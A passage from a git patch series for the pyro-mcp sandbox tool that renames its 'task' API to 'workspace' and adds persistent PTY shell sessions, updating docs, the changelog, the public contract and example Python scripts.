`task_id` field. Use `--source-path` -when the task should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. -Use `pyro task sync push` for later host-side changes to a started task. Sync is non-atomic in -`2.3.0`; if it fails partway through, delete and recreate the task from its seed. +Workspace commands default to the persistent `/workspace` directory inside the guest. If you need +the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` +when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` +archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync +is non-atomic in `2.4.0`; if it fails partway through, delete and recreate the workspace from its +seed. ## Contributor Clone diff --git a/docs/integrations.md b/docs/integrations.md index 9c23ecf..0061ebb 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -16,7 +16,7 @@ That keeps the model-facing contract small: - one ephemeral VM - automatic cleanup -Move to `task_*` only when the agent truly needs repeated commands in one workspace across +Move to `workspace_*` only when the agent truly needs repeated commands in one workspace across multiple calls. ## OpenAI Responses API @@ -30,7 +30,7 @@ Best when: Recommended surface: - `vm_run` -- `task_create(source_path=...)` + `task_sync_push` + `task_exec` when the agent needs persistent workspace state +- `workspace_create(seed_path=...)` + `workspace_sync_push` + `workspace_exec` when the agent needs persistent workspace state Canonical example: @@ -65,23 +65,23 @@ Best when: Recommended default: - `Pyro.run_in_vm(...)` -- `Pyro.create_task(source_path=...)` + `Pyro.push_task_sync(...)` + `Pyro.exec_task(...)` when repeated workspace commands are required +- `Pyro.create_workspace(seed_path=...)` + `Pyro.push_workspace_sync(...)` + `Pyro.exec_workspace(...)` when repeated workspace commands are required Lifecycle note: - `Pyro.exec_vm(...)` runs one command and auto-cleans the VM afterward - use `create_vm(...)` + `start_vm(...)` only when you need pre-exec inspection or status before that final exec -- use `create_task(source_path=...)` when the agent needs repeated commands in one persistent +- use `create_workspace(seed_path=...)` when the agent needs repeated commands in one persistent `/workspace` that starts from host content -- use `push_task_sync(...)` when later host-side changes need to be imported into that running - workspace without recreating the task +- use `push_workspace_sync(...)` when later host-side changes need to be imported into that + running workspace without recreating it Examples: - [examples/python_run.py](../examples/python_run.py) - [examples/python_lifecycle.py](../examples/python_lifecycle.py) -- [examples/python_task.py](../examples/python_task.py) +- [examples/python_workspace.py](../examples/python_workspace.py) ## Agent Framework Wrappers @@ -100,7 +100,7 @@ Recommended pattern: - keep the framework wrapper thin - map one-shot framework tool input directly onto `vm_run` -- expose `task_*` only when the framework truly needs repeated commands in one workspace +- expose `workspace_*` only when the framework truly needs repeated commands in one workspace Concrete example: diff --git a/docs/public-contract.md b/docs/public-contract.md index 872abea..49d1746 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -19,12 +19,12 @@ Top-level commands: - `pyro env prune` - `pyro mcp serve` - `pyro run` -- `pyro task create` -- `pyro task sync push` -- `pyro task exec` -- `pyro task status` -- `pyro task logs` -- `pyro task delete` +- `pyro workspace create` +- `pyro workspace sync push` +- `pyro workspace exec` +- `pyro workspace status` +- `pyro workspace logs` +- `pyro workspace delete` - `pyro doctor` - `pyro demo` - `pyro demo ollama` @@ -46,15 +46,12 @@ Behavioral guarantees: - `pyro run` fails if guest boot or guest exec is unavailable unless `--allow-host-compat` is set. - `pyro run`, `pyro env list`, `pyro env pull`, `pyro env inspect`, `pyro env prune`, and `pyro doctor` are human-readable by default and return structured JSON with `--json`. - `pyro demo ollama` prints log lines plus a final summary line. -- `pyro task create` auto-starts a persistent workspace. -- `pyro task create --source-path PATH` seeds `/workspace` from a host directory or a local - `.tar` / `.tar.gz` / `.tgz` archive before the task is returned. -- `pyro task sync push TASK_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side - directory or archive content into a started task workspace. -- `pyro task exec` runs in the persistent `/workspace` for that task and does not auto-clean. -- `pyro task logs` returns persisted command history for that task until `pyro task delete`. -- Task create/status results expose `workspace_seed` metadata describing how `/workspace` was - initialized. +- `pyro workspace create` auto-starts a persistent workspace. +- `pyro workspace create --seed-path PATH` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. +- `pyro workspace sync push WORKSPACE_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side directory or archive content into a started workspace. +- `pyro workspace exec` runs in the persistent `/workspace` for that workspace and does not auto-clean. +- `pyro workspace logs` returns persisted command history for that workspace until `pyro workspace delete`. +- Workspace create/status results expose `workspace_seed` metadata describing how `/workspace` was initialized. ## Python SDK Contract @@ -71,17 +68,17 @@ Supported public entrypoints: - `Pyro.inspect_environment(environment)` - `Pyro.prune_environments()` - `Pyro.create_vm(...)` -- `Pyro.create_task(...)` -- `Pyro.push_task_sync(task_id, source_path, *, dest="/workspace")` +- `Pyro.create_workspace(...)` +- `Pyro.push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `Pyro.start_vm(vm_id)` - `Pyro.exec_vm(vm_id, *, command, timeout_seconds=30)` -- `Pyro.exec_task(task_id, *, command, timeout_seconds=30)` +- `Pyro.exec_workspace(workspace_id, *, command, timeout_seconds=30)` - `Pyro.stop_vm(vm_id)` - `Pyro.delete_vm(vm_id)` -- `Pyro.delete_task(task_id)` +- `Pyro.delete_workspace(workspace_id)` - `Pyro.status_vm(vm_id)` -- `Pyro.status_task(task_id)` -- `Pyro.logs_task(task_id)` +- `Pyro.status_workspace(workspace_id)` +- `Pyro.logs_workspace(workspace_id)` - `Pyro.network_info_vm(vm_id)` - `Pyro.reap_expired()` - `Pyro.run_in_vm(...)` @@ -94,17 +91,17 @@ Stable public method names: - `inspect_environment(environment)` - `prune_environments()` - `create_vm(...)` -- `create_task(...)` -- `push_task_sync(task_id, source_path, *, dest="/workspace")` +- `create_workspace(...)` +- `push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `start_vm(vm_id)` - `exec_vm(vm_id, *, command, timeout_seconds=30)` -- `exec_task(task_id, *, command, timeout_seconds=30)` +- `exec_workspace(workspace_id, *, command, timeout_seconds=30)` - `stop_vm(vm_id)` - `delete_vm(vm_id)` -- `delete_task(task_id)` +- `delete_workspace(workspace_id)` - `status_vm(vm_id)` -- `status_task(task_id)` -- `logs_task(task_id)` +- `status_workspace(workspace_id)` +- `logs_workspace(workspace_id)` - `network_info_vm(vm_id)` - `reap_expired()` - `run_in_vm(...)` @@ -112,15 +109,13 @@ Stable public method names: Behavioral defaults: - `Pyro.create_vm(...)` and `Pyro.run_in_vm(...)` default to `vcpu_count=1` and `mem_mib=1024`. -- `Pyro.create_task(...)` defaults to `vcpu_count=1` and `mem_mib=1024`. +- `Pyro.create_workspace(...)` defaults to `vcpu_count=1` and `mem_mib=1024`. - `allow_host_compat` defaults to `False` on `create_vm(...)` and `run_in_vm(...)`. -- `allow_host_compat` defaults to `False` on `create_task(...)`. -- `Pyro.create_task(..., source_path=...)` seeds `/workspace` from a host directory or a local - `.tar` / `.tar.gz` / `.tgz` archive before the task is returned. -- `Pyro.push_task_sync(...)` imports later host-side directory or archive content into a started - task workspace. +- `allow_host_compat` defaults to `False` on `create_workspace(...)`. +- `Pyro.create_workspace(..., seed_path=...)` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. +- `Pyro.push_workspace_sync(...)` imports later host-side directory or archive content into a started workspace. - `Pyro.exec_vm(...)` runs one command and auto-cleans that VM after the exec completes. -- `Pyro.exec_task(...)` runs one command in the persistent task workspace and leaves the task alive. +- `Pyro.exec_workspace(...)` runs one command in the persistent workspace and leaves it alive. ## MCP Contract @@ -140,27 +135,25 @@ Advanced lifecycle tools: - `vm_network_info` - `vm_reap_expired` -Task workspace tools: +Persistent workspace tools: -- `task_create` -- `task_sync_push` -- `task_exec` -- `task_status` -- `task_logs` -- `task_delete` +- `workspace_create` +- `workspace_sync_push` +- `workspace_exec` +- `workspace_status` +- `workspace_logs` +- `workspace_delete` Behavioral defaults: - `vm_run` and `vm_create` default to `vcpu_count=1` and `mem_mib=1024`. -- `task_create` defaults to `vcpu_count=1` and `mem_mib=1024`. +- `workspace_create` defaults to `vcpu_count=1` and `mem_mib=1024`. - `vm_run` and `vm_create` expose `allow_host_compat`, which defaults to `false`. -- `task_create` exposes `allow_host_compat`, which defaults to `false`. -- `task_create` accepts optional `source_path` and seeds `/workspace` from a host directory or a - local `.tar` / `.tar.gz` / `.tgz` archive before the task is returned. -- `task_sync_push` imports later host-side directory or archive content into a started task - workspace, with an optional `dest` under `/workspace`. +- `workspace_create` exposes `allow_host_compat`, which defaults to `false`. +- `workspace_create` accepts optional `seed_path` and seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. +- `workspace_sync_push` imports later host-side directory or archive content into a started workspace, with an optional `dest` under `/workspace`. - `vm_exec` runs one command and auto-cleans that VM after the exec completes. -- `task_exec` runs one command in a persistent `/workspace` and leaves the task alive. +- `workspace_exec` runs one command in a persistent `/workspace` and leaves the workspace alive. ## Versioning Rule diff --git a/docs/roadmap/task-workspace-ga.md b/docs/roadmap/task-workspace-ga.md index 00cd1f0..b39ed02 100644 --- a/docs/roadmap/task-workspace-ga.md +++ b/docs/roadmap/task-workspace-ga.md @@ -25,7 +25,7 @@ also expected to update: ## Milestones -1. [`2.4.0` Workspace Contract Pivot](task-workspace-ga/2.4.0-workspace-contract-pivot.md) +1. [`2.4.0` Workspace Contract Pivot](task-workspace-ga/2.4.0-workspace-contract-pivot.md) - Done 2. [`2.5.0` PTY Shell Sessions](task-workspace-ga/2.5.0-pty-shell-sessions.md) 3. [`2.6.0` Structured Export And Baseline Diff](task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md) 4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) diff --git a/docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md b/docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md index 8113545..ff97f37 100644 --- a/docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md +++ b/docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md @@ -1,5 +1,7 @@ # `2.4.0` Workspace Contract Pivot +Status: Done + ## Goal Make the public product read as a workspace-first sandbox instead of a @@ -16,7 +18,7 @@ task-flavored alpha by replacing the `task_*` surface with `workspace_*`. - `pyro workspace delete` - SDK: - `create_workspace` - - `sync_push_workspace` + - `push_workspace_sync` - `exec_workspace` - `status_workspace` - `logs_workspace` diff --git a/examples/python_task.py b/examples/python_task.py deleted file mode 100644 index 421d16c..0000000 --- a/examples/python_task.py +++ /dev/null @@ -1,30 +0,0 @@ -from __future__ import annotations - -import tempfile -from pathlib import Path - -from pyro_mcp import Pyro - - -def main() -> None: - pyro = Pyro() - with ( - tempfile.TemporaryDirectory(prefix="pyro-task-seed-") as seed_dir, - tempfile.TemporaryDirectory(prefix="pyro-task-sync-") as sync_dir, - ): - Path(seed_dir, "note.txt").write_text("hello from seed\n", encoding="utf-8") - Path(sync_dir, "note.txt").write_text("hello from sync\n", encoding="utf-8") - created = pyro.create_task(environment="debian:12", source_path=seed_dir) - task_id = str(created["task_id"]) - try: - pyro.push_task_sync(task_id, sync_dir) - result = pyro.exec_task(task_id, command="cat note.txt") - print(result["stdout"], end="") - logs = pyro.logs_task(task_id) - print(f"task_id={task_id} command_count={logs['count']}") - finally: - pyro.delete_task(task_id) - - -if __name__ == "__main__": - main() diff --git a/examples/python_workspace.py b/examples/python_workspace.py new file mode 100644 index 0000000..c1a3f9e --- /dev/null +++ b/examples/python_workspace.py @@ -0,0 +1,30 @@ +from __future__ import annotations + +import tempfile +from pathlib import Path + +from pyro_mcp import Pyro + + +def main() -> None: + pyro = Pyro() + with ( + tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir, + tempfile.TemporaryDirectory(prefix="pyro-workspace-sync-") as sync_dir, + ): + Path(seed_dir, "note.txt").write_text("hello from seed\n", encoding="utf-8") + Path(sync_dir, "note.txt").write_text("hello from sync\n", encoding="utf-8") + created = pyro.create_workspace(environment="debian:12", seed_path=seed_dir) + workspace_id = str(created["workspace_id"]) + try: + pyro.push_workspace_sync(workspace_id, sync_dir) + result = pyro.exec_workspace(workspace_id, command="cat note.txt") + print(result["stdout"], end="") + logs = pyro.logs_workspace(workspace_id) + print(f"workspace_id={workspace_id} command_count={logs['count']}") + finally: + pyro.delete_workspace(workspace_id) + + +if __name__ == "__main__": + main() From 3f8293ad241badc37e3c30754f7a27b8585d529d Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 02:31:57 -0300 Subject: [PATCH 17/49] Add persistent workspace shell sessions Let agents inhabit a workspace across separate calls instead of only submitting one-shot execs. Add workspace shell open/read/write/signal/close across the CLI, Python SDK, and MCP server, with persisted shell records, a local PTY-backed mock implementation, and guest-agent support for real Firecracker workspaces. Mark the 2.5.0 roadmap milestone done, refresh docs/examples and the release metadata, and verify with uv lock, UV_CACHE_DIR=.uv-cache make check, and UV_CACHE_DIR=.uv-cache make dist-check. --- CHANGELOG.md | 10 + README.md | 17 +- docs/first-run.md | 18 +- docs/install.md | 12 +- docs/integrations.md | 4 + docs/public-contract.md | 25 + docs/roadmap/task-workspace-ga.md | 7 +- .../2.5.0-pty-shell-sessions.md | 2 + examples/python_shell.py | 34 + pyproject.toml | 2 +- .../linux-x86_64/guest/pyro_guest_agent.py | 369 +++++++++- src/pyro_mcp/api.py | 119 +++ src/pyro_mcp/cli.py | 312 ++++++++ src/pyro_mcp/contract.py | 26 +- .../linux-x86_64/guest/pyro_guest_agent.py | 369 +++++++++- .../runtime_bundle/linux-x86_64/manifest.json | 2 +- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_guest.py | 230 +++++- src/pyro_mcp/vm_manager.py | 684 +++++++++++++++++- src/pyro_mcp/workspace_shells.py | 291 ++++++++ tests/test_api.py | 20 + tests/test_cli.py | 256 +++++++ tests/test_public_contract.py | 37 + tests/test_server.py | 85 ++- tests/test_vm_guest.py | 124 ++++ tests/test_vm_manager.py | 67 ++ tests/test_workspace_shells.py | 220 ++++++ uv.lock | 2 +- 28 files changed, 3265 insertions(+), 81 deletions(-) create mode 100644 examples/python_shell.py create mode 100644 src/pyro_mcp/workspace_shells.py create mode 100644 tests/test_workspace_shells.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 5311308..c0269c6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,16 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 2.5.0 + +- Added persistent PTY shell sessions across the CLI, Python SDK, and MCP server with + `pyro workspace shell *`, `Pyro.open_shell()` / `read_shell()` / `write_shell()` / + `signal_shell()` / `close_shell()`, and `shell_*` MCP tools. +- Kept interactive shells separate from `workspace exec`, with cursor-based merged output reads + and explicit close/signal operations for long-lived workspace sessions. +- Updated the bundled guest agent and mock backend so shell sessions persist across separate + calls and are cleaned up automatically by `workspace delete`. + ## 2.4.0 - Replaced the public persistent-workspace surface from `task_*` to `workspace_*` across the CLI, diff --git a/README.md b/README.md index 86b5a91..11fac75 100644 --- a/README.md +++ b/README.md @@ -20,7 +20,7 @@ It exposes the same runtime in three public forms: - First run transcript: [docs/first-run.md](docs/first-run.md) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 2.4.0: [CHANGELOG.md#240](CHANGELOG.md#240) +- What's new in 2.5.0: [CHANGELOG.md#250](CHANGELOG.md#250) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -57,7 +57,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 2.4.0 +Catalog version: 2.5.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -78,6 +78,7 @@ After the quickstart works: - prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` - create a persistent workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo` - update a live workspace from the host with `uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes` +- open a persistent interactive shell with `uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID` - move to Python or MCP via [docs/integrations.md](docs/integrations.md) ## Supported Hosts @@ -131,7 +132,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.4.0 +Catalog version: 2.5.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -209,6 +210,10 @@ longer-term interaction model. pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace exec WORKSPACE_ID -- cat src/note.txt +pyro workspace shell open WORKSPACE_ID +pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' +pyro workspace shell read WORKSPACE_ID SHELL_ID +pyro workspace shell close WORKSPACE_ID SHELL_ID pyro workspace logs WORKSPACE_ID pyro workspace delete WORKSPACE_ID ``` @@ -217,8 +222,10 @@ Persistent workspaces start in `/workspace` and keep command history until you d machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `2.4.0`; if it fails -partway through, delete and recreate the workspace from its seed. +later host-side changes into a started workspace. Sync is non-atomic in `2.5.0`; if it fails +partway through, delete and recreate the workspace from its seed. Use `pyro workspace exec` for +one-shot non-interactive commands inside a live workspace, and `pyro workspace shell *` when you +need a persistent PTY session that keeps interactive shell state between calls. ## Public Interfaces diff --git a/docs/first-run.md b/docs/first-run.md index ce3adcd..b0d0e73 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 2.4.0 +Catalog version: 2.5.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -72,6 +72,7 @@ deterministic structured result. $ uvx --from pyro-mcp pyro demo $ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo $ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes +$ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID $ uvx --from pyro-mcp pyro mcp serve ``` @@ -96,13 +97,24 @@ $ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes --dest src $ uvx --from pyro-mcp pyro workspace exec WORKSPACE_ID -- cat src/note.txt hello from synced workspace [workspace-exec] workspace_id=... sequence=1 cwd=/workspace execution_mode=guest_vsock exit_code=0 duration_ms=... + +$ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID +[workspace-shell-open] workspace_id=... shell_id=... state=running cwd=/workspace cols=120 rows=30 execution_mode=guest_vsock + +$ uvx --from pyro-mcp pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' +[workspace-shell-write] workspace_id=... shell_id=... state=running cwd=/workspace cols=120 rows=30 execution_mode=guest_vsock + +$ uvx --from pyro-mcp pyro workspace shell read WORKSPACE_ID SHELL_ID +/workspace +[workspace-shell-read] workspace_id=... shell_id=... state=running cursor=0 next_cursor=... truncated=False execution_mode=guest_vsock ``` Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `2.4.0`; if it fails partway through, delete and recreate the -workspace. +workspace. Sync is non-atomic in `2.5.0`; if it fails partway through, delete and recreate the +workspace. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell *` when you +need a persistent interactive PTY session in that same workspace. Example output: diff --git a/docs/install.md b/docs/install.md index 69f18ba..4e7300b 100644 --- a/docs/install.md +++ b/docs/install.md @@ -83,7 +83,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.4.0 +Catalog version: 2.5.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -176,6 +176,7 @@ After the CLI path works, you can move on to: - persistent workspaces: `pyro workspace create debian:12 --seed-path ./repo` - live workspace updates: `pyro workspace sync push WORKSPACE_ID ./changes` +- interactive shells: `pyro workspace shell open WORKSPACE_ID` - MCP: `pyro mcp serve` - Python SDK: `from pyro_mcp import Pyro` - Demos: `pyro demo` or `pyro demo --network` @@ -188,6 +189,10 @@ Use `pyro workspace ...` when you need repeated commands in one sandbox instead pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace exec WORKSPACE_ID -- cat src/note.txt +pyro workspace shell open WORKSPACE_ID +pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' +pyro workspace shell read WORKSPACE_ID SHELL_ID +pyro workspace shell close WORKSPACE_ID SHELL_ID pyro workspace logs WORKSPACE_ID pyro workspace delete WORKSPACE_ID ``` @@ -196,8 +201,9 @@ Workspace commands default to the persistent `/workspace` directory inside the g the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `2.4.0`; if it fails partway through, delete and recreate the workspace from its -seed. +is non-atomic in `2.5.0`; if it fails partway through, delete and recreate the workspace from its +seed. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell *` when you need +an interactive PTY that survives across separate calls. ## Contributor Clone diff --git a/docs/integrations.md b/docs/integrations.md index 0061ebb..9be184d 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -31,6 +31,7 @@ Recommended surface: - `vm_run` - `workspace_create(seed_path=...)` + `workspace_sync_push` + `workspace_exec` when the agent needs persistent workspace state +- `open_shell` / `read_shell` / `write_shell` when the agent needs an interactive PTY inside that workspace Canonical example: @@ -66,6 +67,7 @@ Recommended default: - `Pyro.run_in_vm(...)` - `Pyro.create_workspace(seed_path=...)` + `Pyro.push_workspace_sync(...)` + `Pyro.exec_workspace(...)` when repeated workspace commands are required +- `Pyro.open_shell(...)` + `Pyro.write_shell(...)` + `Pyro.read_shell(...)` when the agent needs an interactive PTY inside the workspace Lifecycle note: @@ -76,12 +78,14 @@ Lifecycle note: `/workspace` that starts from host content - use `push_workspace_sync(...)` when later host-side changes need to be imported into that running workspace without recreating it +- use `open_shell(...)` when the agent needs interactive shell state instead of one-shot execs Examples: - [examples/python_run.py](../examples/python_run.py) - [examples/python_lifecycle.py](../examples/python_lifecycle.py) - [examples/python_workspace.py](../examples/python_workspace.py) +- [examples/python_shell.py](../examples/python_shell.py) ## Agent Framework Wrappers diff --git a/docs/public-contract.md b/docs/public-contract.md index 49d1746..65e5b74 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -22,6 +22,11 @@ Top-level commands: - `pyro workspace create` - `pyro workspace sync push` - `pyro workspace exec` +- `pyro workspace shell open` +- `pyro workspace shell read` +- `pyro workspace shell write` +- `pyro workspace shell signal` +- `pyro workspace shell close` - `pyro workspace status` - `pyro workspace logs` - `pyro workspace delete` @@ -50,6 +55,7 @@ Behavioral guarantees: - `pyro workspace create --seed-path PATH` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. - `pyro workspace sync push WORKSPACE_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side directory or archive content into a started workspace. - `pyro workspace exec` runs in the persistent `/workspace` for that workspace and does not auto-clean. +- `pyro workspace shell *` manages persistent PTY sessions inside a started workspace. - `pyro workspace logs` returns persisted command history for that workspace until `pyro workspace delete`. - Workspace create/status results expose `workspace_seed` metadata describing how `/workspace` was initialized. @@ -70,6 +76,11 @@ Supported public entrypoints: - `Pyro.create_vm(...)` - `Pyro.create_workspace(...)` - `Pyro.push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` +- `Pyro.open_shell(workspace_id, *, cwd="/workspace", cols=120, rows=30)` +- `Pyro.read_shell(workspace_id, shell_id, *, cursor=0, max_chars=65536)` +- `Pyro.write_shell(workspace_id, shell_id, *, input, append_newline=True)` +- `Pyro.signal_shell(workspace_id, shell_id, *, signal_name="INT")` +- `Pyro.close_shell(workspace_id, shell_id)` - `Pyro.start_vm(vm_id)` - `Pyro.exec_vm(vm_id, *, command, timeout_seconds=30)` - `Pyro.exec_workspace(workspace_id, *, command, timeout_seconds=30)` @@ -93,6 +104,11 @@ Stable public method names: - `create_vm(...)` - `create_workspace(...)` - `push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` +- `open_shell(workspace_id, *, cwd="/workspace", cols=120, rows=30)` +- `read_shell(workspace_id, shell_id, *, cursor=0, max_chars=65536)` +- `write_shell(workspace_id, shell_id, *, input, append_newline=True)` +- `signal_shell(workspace_id, shell_id, *, signal_name="INT")` +- `close_shell(workspace_id, shell_id)` - `start_vm(vm_id)` - `exec_vm(vm_id, *, command, timeout_seconds=30)` - `exec_workspace(workspace_id, *, command, timeout_seconds=30)` @@ -116,6 +132,9 @@ Behavioral defaults: - `Pyro.push_workspace_sync(...)` imports later host-side directory or archive content into a started workspace. - `Pyro.exec_vm(...)` runs one command and auto-cleans that VM after the exec completes. - `Pyro.exec_workspace(...)` runs one command in the persistent workspace and leaves it alive. +- `Pyro.open_shell(...)` opens a persistent PTY shell attached to one started workspace. +- `Pyro.read_shell(...)` reads merged text output from that shell by cursor. +- `Pyro.write_shell(...)`, `Pyro.signal_shell(...)`, and `Pyro.close_shell(...)` operate on that persistent shell session. ## MCP Contract @@ -140,6 +159,11 @@ Persistent workspace tools: - `workspace_create` - `workspace_sync_push` - `workspace_exec` +- `shell_open` +- `shell_read` +- `shell_write` +- `shell_signal` +- `shell_close` - `workspace_status` - `workspace_logs` - `workspace_delete` @@ -154,6 +178,7 @@ Behavioral defaults: - `workspace_sync_push` imports later host-side directory or archive content into a started workspace, with an optional `dest` under `/workspace`. - `vm_exec` runs one command and auto-cleans that VM after the exec completes. - `workspace_exec` runs one command in a persistent `/workspace` and leaves the workspace alive. +- `shell_open`, `shell_read`, `shell_write`, `shell_signal`, and `shell_close` manage persistent PTY shells inside a started workspace. ## Versioning Rule diff --git a/docs/roadmap/task-workspace-ga.md b/docs/roadmap/task-workspace-ga.md index b39ed02..e878c10 100644 --- a/docs/roadmap/task-workspace-ga.md +++ b/docs/roadmap/task-workspace-ga.md @@ -2,11 +2,12 @@ This roadmap turns the agent-workspace vision into release-sized milestones. -Current baseline is `2.4.0`: +Current baseline is `2.5.0`: - workspace persistence exists and the public surface is now workspace-first - host crossing currently covers create-time seeding and later sync push -- no shell, export, diff, service, snapshot, reset, or secrets contract exists yet +- persistent PTY shell sessions exist alongside one-shot `workspace exec` +- no export, diff, service, snapshot, reset, or secrets contract exists yet Locked roadmap decisions: @@ -26,7 +27,7 @@ also expected to update: ## Milestones 1. [`2.4.0` Workspace Contract Pivot](task-workspace-ga/2.4.0-workspace-contract-pivot.md) - Done -2. [`2.5.0` PTY Shell Sessions](task-workspace-ga/2.5.0-pty-shell-sessions.md) +2. [`2.5.0` PTY Shell Sessions](task-workspace-ga/2.5.0-pty-shell-sessions.md) - Done 3. [`2.6.0` Structured Export And Baseline Diff](task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md) 4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) 5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) diff --git a/docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md b/docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md index ccd3a30..91bcf2d 100644 --- a/docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md +++ b/docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md @@ -1,5 +1,7 @@ # `2.5.0` PTY Shell Sessions +Status: Done + ## Goal Add persistent interactive shells so an agent can inhabit a workspace instead diff --git a/examples/python_shell.py b/examples/python_shell.py new file mode 100644 index 0000000..85887f7 --- /dev/null +++ b/examples/python_shell.py @@ -0,0 +1,34 @@ +from __future__ import annotations + +import tempfile +import time +from pathlib import Path + +from pyro_mcp import Pyro + + +def main() -> None: + pyro = Pyro() + with tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir: + Path(seed_dir, "note.txt").write_text("hello from shell\n", encoding="utf-8") + created = pyro.create_workspace(environment="debian:12", seed_path=seed_dir) + workspace_id = str(created["workspace_id"]) + try: + opened = pyro.open_shell(workspace_id) + shell_id = str(opened["shell_id"]) + pyro.write_shell(workspace_id, shell_id, input="pwd") + deadline = time.time() + 5 + while True: + read = pyro.read_shell(workspace_id, shell_id, cursor=0) + output = str(read["output"]) + if "/workspace" in output or time.time() >= deadline: + print(output, end="") + break + time.sleep(0.1) + pyro.close_shell(workspace_id, shell_id) + finally: + pyro.delete_workspace(workspace_id) + + +if __name__ == "__main__": + main() diff --git a/pyproject.toml b/pyproject.toml index 05d4be3..2ad5fb0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 